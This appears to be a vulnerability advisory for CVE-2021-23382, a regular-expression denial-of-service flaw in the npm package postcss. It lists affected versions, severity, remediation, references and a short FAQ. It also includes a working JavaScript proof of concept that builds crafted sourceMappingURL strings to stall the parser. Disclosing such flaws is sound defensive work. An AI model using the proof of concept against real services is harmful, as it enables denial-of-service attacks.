CVE-2021-23382: Regular Expression Denial of Service (ReDoS)
A regular expression denial of service (ReDoS) vulnerability was found in the npm library postcss when using getAnnotationURL() or loadAnnotation() options in lib/previous-map.js. An attacker can use this vulnerability to potentially craft a malicious CSS to process resulting in a denial of service.
Other sources
The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\\s sourceMappingURL=(.).
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern regex \/\\s sourceMappingURL=(.)
PoC js var postcss = require("postcss") function buildattack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/# sourceMappingURL=" } return ret + "!"; } js postcss.parse('a{}/# sourceMappingURL=a.css.map /') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attackstr = buildattack(i) try { postcss.parse(attackstr) var timecost = Date.now() - time; console.log("attackstr.length: " + attackstr.length + ": " + timecost + " ms"); } catch (e) { var timecost = Date.now() - time; console.log("attackstr.length: " + attackstr.length + ": " + timecost + " ms"); } } }
Affected Software
Remediation
Patch Available
Patch Available
Event History
Parent advisories
This vulnerability appears in the following advisories.
Frequently Asked Questions
What is CVE-2021-23382?
CVE-2021-23382 refers to a vulnerability in the package postcss before version 8.2.13 that allows Regular Expression Denial of Service (ReDoS) attacks via getAnnotationURL() and loadAnnotation() in lib/previous-map.js.
How does CVE-2021-23382 affect postcss?
CVE-2021-23382 affects postcss versions before 7.0.36 or between 8.0.0 and 8.2.13.
What is the severity level of CVE-2021-23382?
CVE-2021-23382 has a severity level of 7.5 (high).
How can I fix CVE-2021-23382?
To fix CVE-2021-23382, update postcss package to version 7.0.36 or higher, or between 8.2.13 and the latest version.
Where can I find more information about CVE-2021-23382?
You can find more information about CVE-2021-23382 at the following references: - https://www.cve.org/CVERecord?id=CVE-2021-23382 - https://nvd.nist.gov/vuln/detail/CVE-2021-23382 - https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640 - https://bugzilla.redhat.com/show_bug.cgi?id=1954150 - https://access.redhat.com/errata/RHSA-2021:3016